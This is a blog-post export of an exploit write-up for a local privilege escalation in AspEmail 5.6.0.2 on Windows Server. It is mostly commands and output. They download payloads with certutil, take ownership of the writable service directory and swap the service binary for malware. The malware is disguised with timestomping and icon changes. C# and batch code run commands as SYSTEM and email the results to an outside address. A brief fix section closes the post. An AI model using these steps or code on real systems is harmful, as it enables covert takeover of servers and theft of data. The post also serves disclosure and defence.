{"id":40510,"date":"2023-04-18T23:21:55","date_gmt":"2023-04-18T19:21:55","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/171905\/aspemail5602-escalate.txt"},"modified":"2023-04-21T21:56:00","modified_gmt":"2023-04-21T17:26:00","slug":"aspemail-5-6-0-2-weak-permissions-local-privilege-escalation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/aspemail-5-6-0-2-weak-permissions-local-privilege-escalation\/","title":{"rendered":"AspEmail 5.6.0.2 Weak Permissions \/ Local Privilege Escalation"},"content":{"rendered":"<p dir=\"ltr\">####################################################################################################################<br \/>\n# Exploit Title: AspEmail 5.6.0.2 &#8211; Local Privilege Escalation #<br \/>\n# Vulnerability Category: [Weak Services Permission &#8211; Binary Permission Vulnerability] #<br \/>\n# Date: 13\/04\/2023 #<br \/>\n# Exploit Author: Zer0FauLT [admindeepsec@proton.me] #<br \/>\n# Vendor Homepage: https:\/\/www.aspemail.com #<br \/>\n# Software Link: https:\/\/www.aspemail.com\/download.html #<br \/>\n# Product: AspEmail #<br \/>\n# Version: AspEmail 5.6.0.2 and all #<br \/>\n# Platform &#8211; Architecture : Windows &#8211; 32-bit | 64-bit | Any CPU #<br \/>\n# Tested on: Windows Server 2016 and Windows Server 2019 #<br \/>\n# CVE : 0DAY #<br \/>\n####################################################################################################################<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n<p dir=\"ltr\">[+] C:\\PenTest&gt;whoami \/priv<\/p>\n<p dir=\"ltr\">PRIVILEGES INFORMATION<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p dir=\"ltr\">Privilege Name Description State<br \/>\n============================= ========================================= ========<br \/>\nSeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled<br \/>\nSeChangeNotifyPrivilege Bypass traverse checking Enabled<br \/>\nSeImpersonatePrivilege Impersonate a client after authentication Enabled<br \/>\nSeIncreaseWorkingSetPrivilege Increase a process working set Disabled<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n<p dir=\"ltr\">* First, we will test whether the AspEmail service is active.<br \/>\n* First of all, we perform a query to list the processes running in the system with normal user rights and test whether the process of the relevant service is running:<\/p>\n<p dir=\"ltr\">[+] C:\\PenTest&gt;tasklist \/svc | findstr EmailAgent.exe<br \/>\nEmailAgent.exe 4400 Persits Software EmailAgent<\/p>\n<p dir=\"ltr\">or<\/p>\n<p dir=\"ltr\">[+] C:\\PenTest&gt;tasklist \/svc | findstr EmailAgent64.exe<br \/>\nEmailAgent64.exe 4400 Persits Software EmailAgent<\/p>\n<p dir=\"ltr\">* We have detected that the process of the &#8220;Persits Software Email Agent&#8221; Service is state &#8220;RUNNING&#8221;.<br \/>\n* Now we know that AspEmail service is active.<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n<p dir=\"ltr\">* We will need these:<\/p>\n<p dir=\"ltr\">[+] C:\\PenTest&gt;certutil -urlcache -split -f http:\/\/10.1.11.21\/EmailAgent.exe &#8220;C:\\Program Files (x86)\\Persits Software\\AspEmail\\BIN\\EmailAgentPrivESC.exe&#8221; &lt;&lt;&lt;=== MyExploit<br \/>\n[+] C:\\PenTest&gt;certutil -urlcache -split -f http:\/\/10.1.11.21\/nircmd.exe &#8220;C:\\Program Files (x86)\\Persits Software\\AspEmail\\BIN\\nircmd.exe&#8221;<br \/>\n[+] C:\\PenTest&gt;certutil -urlcache -split -f http:\/\/10.1.11.21\/Mail.exe &#8220;C:\\Windows\\Temp\\Mail.exe&#8221;<br \/>\n[+] C:\\PenTest&gt;certutil -urlcache -split -f http:\/\/10.1.11.21\/Run.exe &#8220;C:\\Windows\\Temp\\Run.bat&#8221;<br \/>\n[+] C:\\PenTest&gt;certutil -urlcache -split -f http:\/\/10.1.11.21\/PrivescCheck.ps1 &#8220;C:\\PenTest\\PrivescCheck.ps1&#8221;<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n<p dir=\"ltr\">[+] C:\\PenTest&gt;powershell -ep bypass -c &#8220;. .\\PrivescCheck.ps1; Invoke-PrivescCheck&#8221;<\/p>\n<p dir=\"ltr\">Name: Persits Software EmailAgent<br \/>\nImagePath : &#8220;C:\\Program Files (x86)\\Persits Software\\AspEmail\\BIN\\Email<br \/>\nAgent.exe&#8221; \/run<br \/>\nUser : LocalSystem<br \/>\nModifiablePath : C:\\Program Files (x86)\\Persits Software\\AspEmail\\BIN<br \/>\nIdentityReference : Everyone<br \/>\nPermissions : WriteOwner, Delete, WriteAttributes, Synchronize, ReadControl, ReadData\/ListDirectory,<br \/>\nAppendData\/AddSubdirectory, WriteExtendedAttributes, WriteDAC, ReadAttributes, WriteData\/AddFile,<br \/>\nReadExtendedAttributes, DeleteChild, Execute\/Traverse<br \/>\nStatus : Unknown<br \/>\nUserCanStart : False<br \/>\nUserCanStop : False<\/p>\n<p dir=\"ltr\">[+] C:\\PenTest&gt;del PrivescCheck.ps1<\/p>\n<p dir=\"ltr\">* We detected &#8220;Persits Software EmailAgent&#8221; Service &#8220;Binary Permission Vulnerability&#8221; in our checks.<\/p>\n<p dir=\"ltr\"># ================================================================================================================== #<\/p>\n<p dir=\"ltr\">[+] C:\\PenTest&gt;ICACLS &#8220;C:\\Program Files (x86)\\Persits Software\\AspEmail&#8221;<\/p>\n<p dir=\"ltr\">Successfully processed 0 files; Failed processing 1 files<br \/>\nC:\\Program Files (x86)\\Persits Software\\AspEmail: Access is denied.<\/p>\n<p dir=\"ltr\">* We do not have permission to access subdirectories.<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n<p dir=\"ltr\">[+] C:\\PenTest&gt;ICACLS &#8220;C:\\Program Files (x86)\\Persits Software\\AspEmail\\BIN&#8221;<\/p>\n<p dir=\"ltr\">C:\\Program Files (x86)\\Persits Software\\AspEmail\\BIN Everyone:(OI)(CI)(F)<br \/>\nDeepSecLab\\psacln:(I)(OI)(CI)(N)<br \/>\nDeepSecLab\\psaadm:(I)(OI)(CI)(N)<br \/>\nDeepSecLab\\psaadm_users:(I)(OI)(CI)(N)<br \/>\nBUILTIN\\Administrators:(I)(F)<br \/>\nCREATOR OWNER:(I)(OI)(CI)(IO)(F)<br \/>\nAPPLICATION PACKAGE AUTHORITY\\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(RX)<br \/>\nNT SERVICE\\TrustedInstaller:(I)(CI)(F)<br \/>\nNT AUTHORITY\\SYSTEM:(I)(OI)(CI)(F)<br \/>\nBUILTIN\\Administrators:(I)(OI)(CI)(IO)(F)<br \/>\nBUILTIN\\Users:(I)(OI)(CI)(RX)<br \/>\nAPPLICATION PACKAGE AUTHORITY\\ALL APPLICATION PACKAGES:(I)(OI)(CI)(RX)<\/p>\n<p dir=\"ltr\">* Unlike other directories, we have full privileges in the &#8220;BIN&#8221; directory of the service.<br \/>\n* This is chmod 0777 &#8211; rwxrwxrwx in linux language.<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n<p dir=\"ltr\">[+] C:\\PenTest&gt;WMIC Path Win32_LogicalFileSecuritySetting WHERE Path=&#8221;C:\\\\Program Files (x86)\\\\Persits Software\\\\AspEmail\\\\Bin\\\\EmailAgent.exe&#8221; ASSOC \/RESULTROLE:Owner \/ASSOCCLASS:Win32_LogicalFileOwner \/RESULTCLASS:Win32_SID<\/p>\n<p dir=\"ltr\">__PATH<\/p>\n<p dir=\"ltr\">\\\\DeepSecLab\\root\\cimv2:Win32_LogicalFileSecuritySetting.Path=&#8221;C:\\\\Program Files (x86)\\\\Persits Software\\\\AspEmail\\\\Bin\\\\EmailAgent.exe&#8221;<\/p>\n<p dir=\"ltr\">\\\\DeepSecLab\\root\\cimv2:Win32_SID.SID=&#8221;S-1-5-32-544&#8243;<br \/>\nroot\\cimv2 DeepSecLab {} 5 Win32_SID.SID=&#8221;S-1-5-32-544&#8243; Win32_SID Win32_SID 2 Administrators {1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0} BUILTIN S-1-5-32-544 16<br \/>\n[EmailAgent.exe] ===&gt;&gt;&gt; Owner: BUILTIN\\Administrators<\/p>\n<p dir=\"ltr\">* We understood &#8220;EmailAgent.exe&#8221; processor was installed by the Administrator and the owner is the Administrator user.<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n<p dir=\"ltr\">* Now we will take ownership of this directory as we will execute our operations under the &#8220;BIN&#8221; directory.<\/p>\n<p dir=\"ltr\">[+] C:\\PenTest&gt;whoami<br \/>\nDeepSecLab\\Hacker<\/p>\n<p dir=\"ltr\">[+] C:\\PenTest&gt;takeown \/f &#8220;C:\\Program Files (x86)\\Persits Software\\AspEmail\\BIN&#8221;<br \/>\nSUCCESS: The file (or folder): &#8220;C:\\Program Files (x86)\\Persits Software\\AspEmail\\BIN&#8221; now owned by user &#8220;DeepSecLab\\Hacker&#8221;.<\/p>\n<p dir=\"ltr\">[+] C:\\PenTest&gt;ICACLS &#8220;C:\\Program Files (x86)\\Persits Software\\AspEmail\\BIN&#8221; \/Grant DeepSecLab\\Hacker:F<\/p>\n<p dir=\"ltr\">processed file: C:\\Program Files (x86)\\Persits Software\\AspEmail\\BIN<br \/>\nSuccessfully processed 1 files; Failed processing 0 files<\/p>\n<p dir=\"ltr\">* Ok. All commands resulted successfully. We now have full privileges for this directory.<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n<p dir=\"ltr\">* Now we will modify the EmailAgent file and inject a self-written malware.<br \/>\n* We will be careful not to damage any files while doing this so that all transactions can be easily undone.<\/p>\n<p dir=\"ltr\">[+] C:\\Program Files (x86)\\Persits Software\\AspEmail\\BIN&gt;ren EmailAgent.exe Null.EmailAgent.exe<br \/>\n[+] C:\\Program Files (x86)\\Persits Software\\AspEmail\\BIN&gt;ren EmailAgentPrivESC.exe EmailAgent.exe<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n<p dir=\"ltr\">[+] C:\\Program Files (x86)\\Persits Software\\AspEmail\\Bin&gt;dir<br \/>\nVolume in drive C has no label.<br \/>\nVolume Serial Number is 0C8A-5291<\/p>\n<p dir=\"ltr\">Directory of C:\\Program Files (x86)\\Persits Software\\AspEmail\\Bin<\/p>\n<p dir=\"ltr\">14.04.2023 16:47 &lt;DIR&gt; .<br \/>\n14.04.2023 16:47 &lt;DIR&gt; ..<br \/>\n01.03.2004 15:55 143.360 AspEmail.dll<br \/>\n25.02.2004 16:23 188.416 AspUpload.dll<br \/>\n13.04.2023 22:00 12.288 EmailAgent.exe &lt;&lt;&lt;=== ReNamed for EmailAgentPrivESC.exe<br \/>\n24.09.2003 09:22 139.264 EmailAgentCfg.cpl<br \/>\n24.09.2003 09:25 94.208 EmailLogger.dll<br \/>\n24.09.2003 09:21 167.936 Null.EmailAgent.exe<br \/>\n6 File(s) 745.472 bytes<br \/>\n2 Dir(s) 165.936.717.824 bytes free<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n<p dir=\"ltr\">* We are now making the settings on Last Modified Date, Creation Date and Last Accessed Date.<\/p>\n<p dir=\"ltr\">[+] C:\\Program Files (x86)\\Persits Software\\AspEmail\\BIN&gt;nircmd.exe setfiletime &#8220;EmailAgent.exe&#8221; &#8220;24.03.2007 09:21:30&#8221; &#8220;24.03.2007 09:21:30&#8221; &#8220;23.05.2017 06:42:28&#8221;<br \/>\n[+] C:\\Program Files (x86)\\Persits Software\\AspEmail\\BIN&gt;del nircmd.exe<\/p>\n<p dir=\"ltr\">* And next is we are making extracting the real EmailAgent.exe file icon and changing the icon for exploit. This way, we will make it harder to detect.<br \/>\n* I used the Resource Tuner Console tool.<br \/>\n&gt;&gt;&gt; http:\/\/www.restuner.com\/tour-resource-tuner-console.htm<br \/>\n* This can be done easily with the Resource Tuner tool.<br \/>\n&gt;&gt;&gt; http:\/\/www.resource-editor.com\/how-to-change-icons-in-exe.html<br \/>\n&gt;&gt;&gt; http:\/\/www.restuner.com\/download.htm<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n<p dir=\"ltr\">[+] C:\\Program Files (x86)\\Persits Software\\AspEmail\\Bin&gt;dir<br \/>\nVolume in drive C has no label.<br \/>\nVolume Serial Number is 0C8A-5291<\/p>\n<p dir=\"ltr\">Directory of C:\\Program Files (x86)\\Persits Software\\AspEmail\\Bin<\/p>\n<p dir=\"ltr\">14.04.2023 16:47 &lt;DIR&gt; .<br \/>\n14.04.2023 16:47 &lt;DIR&gt; ..<br \/>\n01.03.2004 15:55 143.360 AspEmail.dll<br \/>\n25.02.2004 16:23 188.416 AspUpload.dll<br \/>\n24.09.2003 09:21 12.288 EmailAgent.exe<br \/>\n24.09.2003 09:22 139.264 EmailAgentCfg.cpl<br \/>\n24.09.2003 09:25 94.208 EmailLogger.dll<br \/>\n24.09.2003 09:21 167.936 Null.EmailAgent.exe<br \/>\n6 File(s) 745.472 bytes<br \/>\n2 Dir(s) 165.936.717.824 bytes free<\/p>\n<p dir=\"ltr\">[24.09.2003 09:21] 12.288 EmailAgent.exe<br \/>\n[24.09.2003 09:21] 167.936 Null.EmailAgent.exe<\/p>\n<p dir=\"ltr\">* And time manipulation is over. They look like they were uploaded at the same time long ago.<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n<p dir=\"ltr\">* Now we check for my malware ownership.<\/p>\n<p dir=\"ltr\">[+] C:\\PenTest&gt;WMIC Path Win32_LogicalFileSecuritySetting WHERE Path=&#8221;C:\\\\Program Files (x86)\\\\Persits Software\\\\AspEmail\\\\Bin\\\\EmailAgent.exe&#8221; ASSOC \/RESULTROLE:Owner \/ASSOCCLASS:Win32_LogicalFileOwner \/RESULTCLASS:Win32_SID<\/p>\n<p dir=\"ltr\">__PATH<\/p>\n<p dir=\"ltr\">\\\\DeepSecLab\\root\\cimv2:Win32_LogicalFileSecuritySetting.Path=&#8221;C:\\\\Program Files (x86)\\\\Persits Software\\\\AspEmail\\\\Bin\\\\EmailAgent.exe&#8221;<\/p>\n<p dir=\"ltr\">\\\\DeepSecLab\\root\\cimv2:Win32_SID.SID=&#8221;S-1-5-21-3674093405-176013069-2091862131-1511&#8243; root\\cimv2 DeepSecLab {} 5 Win32_SID.SID=&#8221;S-1-5-21-3674093405-176013069-2091862131-1511&#8243; Win32_SID Win32_SID 2 Hacker {1, 5, 0, 0, 0, 0, 0, 5, 21, 0, 0, 0, 93, 55, 254, 218, 13, 191, 125, 10, 115, 72, 175, 124, 231, 5, 0, 0} DeepSecLab S-1-5-21-3674093405-176013069-2091862131-1511 28<\/p>\n<p dir=\"ltr\">[+] C:\\PenTest&gt;WMIC UserAccount WHERE sid=&#8221;S-1-5-21-3674093405-176013069-2091862131-1511&#8243; GET Name<\/p>\n<p dir=\"ltr\">Name<\/p>\n<p dir=\"ltr\">DeepSecLab\\Hacker<\/p>\n<p dir=\"ltr\">EmailAgent.exe Owner: DeepSecLab\\Hacker<\/p>\n<p dir=\"ltr\"># =================================================================================================================#<br \/>\n# #<br \/>\n####################################################################################################################<br \/>\n# #[EmailAgent.cs]# #<br \/>\n####################################################################################################################<br \/>\n# #<br \/>\n#<br \/>\n* We program this malware in such a way that when the server is reboot(when the services are restarted), #<br \/>\n* It will be triggered and execute the codes we want, #<br \/>\n* And then send a printout of all this to the email address we specified. #<br \/>\n#<br \/>\nusing System; #<br \/>\nusing System.Linq; #<br \/>\nusing System.Text; #<br \/>\nusing System.Diagnostics; #<br \/>\nusing System.IO; #<br \/>\nusing System.Collections; #<br \/>\n#<br \/>\nNamespace CliToolSpace #<br \/>\n{ #<br \/>\nclass _Main #<br \/>\n{ #<br \/>\nstatic void Main(string[] args) #<br \/>\n{ #<br \/>\nCli commandLine = new Cli(); #<br \/>\ncommandLine.FileToCli(@&#8221;C:\\Windows\\Temp\\Mail.exe &amp; C:\\Windows\\Temp\\Run.bat&#8221;); #<br \/>\ncommandLine.Execute(); #<br \/>\ncommandLine.ToFile(@&#8221;C:\\Windows\\Temp\\&#8221;); #<br \/>\n} #<br \/>\n} #<br \/>\n} #<br \/>\n#<br \/>\n# #<br \/>\n####################################################################################################################<br \/>\n# #[Mail.cs]# #<br \/>\n####################################################################################################################<br \/>\n# #<br \/>\n#<br \/>\nusing System; #<br \/>\nusing System.Net.Mail; #<br \/>\nusing System.Net; #<br \/>\nSmtpClient SmtpServer = new SmtpClient(&#8220;smtp.deepseclab.com&#8221;); #<br \/>\nvar mail = new MailMessage(); #<br \/>\nmail.From = new MailAddress(&#8220;mail@deepseclab.com&#8221;); #<br \/>\nmail.To.Add(&#8220;mail@hacker.com&#8221;); #<br \/>\nmail.Subject = &#8220;Trigger Successful!&#8221;; #<br \/>\nmail.IsBodyHtml = true; #<br \/>\nstring htmlBody; #<br \/>\nhtmlBody = &#8220;&lt;strong&gt;This server has been rebooted.&lt;\/strong&gt;&#8221;; #<br \/>\nmail.Body = htmlBody; #<br \/>\nAttachment attachment; #<br \/>\nattachment = new Attachment(@&#8221;C:\\Windows\\Temp\\Export.txt&#8221;); #<br \/>\nmail.Attachments.Add(attachment); #<br \/>\nSmtpServer.Port = 587; #<br \/>\nSmtpServer.UseDefaultCredentials = false; #<br \/>\nSmtpServer.Credentials = new System.Net.NetworkCredential(&#8220;mail@deepseclab.com&#8221;,&#8221;p@ssw0rd123&#8243;); #<br \/>\nSmtpServer.EnableSsl = true; #<br \/>\nSmtpServer.Timeout = int.MaxValue; #<br \/>\nSmtpServer.Send(mail); #<br \/>\n#<br \/>\n# #<br \/>\n####################################################################################################################<br \/>\n# #[Run.bat]# #<br \/>\n####################################################################################################################<br \/>\n# #<br \/>\n#<br \/>\nwhoami &gt; C:\\Windows\\Temp\\Export.txt #<br \/>\ncd C:\\Program Files (x86)\\Persits Software\\AspEmail\\Bin #<br \/>\ndel EmailAgent.exe &amp; ren Null.EmailAgent.exe EmailAgent.exe #<br \/>\ncd c:\\Windows\\Tasks #<br \/>\ndel Run.bat &amp; del Mail.exe #<br \/>\n#<br \/>\n# #<br \/>\n####################################################################################################################<br \/>\n# #<br \/>\n[+]Trigger Successful![+] #<br \/>\n#<br \/>\n[+] C:\\PenTest&gt;systeminfo | findstr &#8220;Boot Time&#8221; #<br \/>\nSystem Boot Time: 13.04.2022, 07:46:06 #<br \/>\n#<br \/>\n# #<br \/>\n####################################################################################################################<br \/>\n#[Export.txt]# #<br \/>\n####################################################################################################################<br \/>\n# #<br \/>\n#<br \/>\nNT AUTHORITY\\SYSTEM #<br \/>\n#<br \/>\n# #<br \/>\n####################################################################################################################<br \/>\n# #<br \/>\n# ==================================================================================================================<br \/>\n# &#8230;|||[FIX]|||&#8230; #<br \/>\n# ==================================================================================================================<br \/>\n# [+] C:\\&gt;Runas \/profile \/user:DeepSecLab\\Administrator CMD [+] #<br \/>\n# =================================================================================================================#<\/p>\n<p dir=\"ltr\">[+] C:\\Administrator&gt;sc qc &#8220;Persits Software EmailAgent&#8221;<br \/>\n[SC] QueryServiceConfig SUCCESS<\/p>\n<p dir=\"ltr\">SERVICE_Name: Persits Software EmailAgent<br \/>\nTYPE : 10 WIN32_OWN_PROCESS<br \/>\nSTART_TYPE : 2 AUTO_START<br \/>\nERROR_CONTROL : 1 NORMAL<br \/>\nBINARY_PATH_Name : &#8220;C:\\Program Files (x86)\\Persits Software\\AspEmail\\BIN\\EmailAgent.exe&#8221; \/run<br \/>\nLOAD_ORDER_GROUP :<br \/>\nTAG : 0<br \/>\nDISPLAY_Name : Persits Software EmailAgent<br \/>\nDEPENDENCIES : rpcss<br \/>\nSERVICE_START_Name : LocalSystem<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n<p dir=\"ltr\">[+] C:\\Administrator&gt;sc sdshow &#8220;Persits Software EmailAgent&#8221;<\/p>\n<p dir=\"ltr\">D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n<p dir=\"ltr\">[+] C:\\Administrator&gt;accesschk64.exe -wuvc &#8220;Persits Software EmailAgent&#8221; -accepteula<\/p>\n<p dir=\"ltr\">Accesschk v6.15 &#8211; Reports effective permissions for securable objects<br \/>\nCopyright (C) 2006-2022 Mark Russinovich<br \/>\nSysinternals &#8211; www.sysinternals.com<\/p>\n<p dir=\"ltr\">Persits Software EmailAgent<br \/>\nMedium Mandatory Level (Default) [No-Write-Up]\nRW NT AUTHORITY\\SYSTEM<br \/>\nSERVICE_ALL_ACCESS<br \/>\nRW BUILTIN\\Administrators<br \/>\nSERVICE_ALL_ACCESS<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n<p dir=\"ltr\">[+] C:\\Administrator&gt;ICACLS &#8220;C:\\Program Files (x86)\\Persits Software&#8221; \/T \/Q \/C \/RESET<\/p>\n<p dir=\"ltr\">[+] C:\\PenTest&gt;ICACLS &#8220;C:\\Program Files (x86)\\Persits Software\\AspEmail\\BIN&#8221;<\/p>\n<p dir=\"ltr\">Successfully processed 0 files; Failed processing 1 files<br \/>\nC:\\Program Files (x86)\\Persits Software\\AspEmail\\Bin: Access is denied.<\/p>\n<p dir=\"ltr\">DONE!<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n<p dir=\"ltr\">[+] C:\\Administrator&gt;sc stop &#8220;Persits Software EmailAgent&#8221;<\/p>\n<p dir=\"ltr\">[+] PS C:\\Administrator&gt; Start-Service -Name &#8220;Persits Software EmailAgent&#8221;<\/p>\n<p dir=\"ltr\">* These commands are optional. Used to stop the &#8220;Persits Software EmailAgent&#8221; service. We fixed the vulnerability and I don&#8217;t think it&#8217;s necessary anymore.<\/p>\n<p dir=\"ltr\"># ==================================================================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>#################################################################################################################### # Exploit Title: AspEmail 5.6.0.2 &#8211; Local Privilege Escalation # # Vulnerability Category: [Weak Services Permission &#8211; Binary Permission Vulnerability] # # Date: 13\/04\/2023 # # Exploit Author: Zer0FauLT [admindeepsec@proton.me] # # Vendor Homepage: https:\/\/www.aspemail.com # # Software Link: https:\/\/www.aspemail.com\/download.html # # Product: AspEmail # # Version: AspEmail 5.6.0.2 and all # # Platform &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-40510","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40510","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=40510"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40510\/revisions"}],"predecessor-version":[{"id":40613,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40510\/revisions\/40613"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=40510"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=40510"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=40510"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}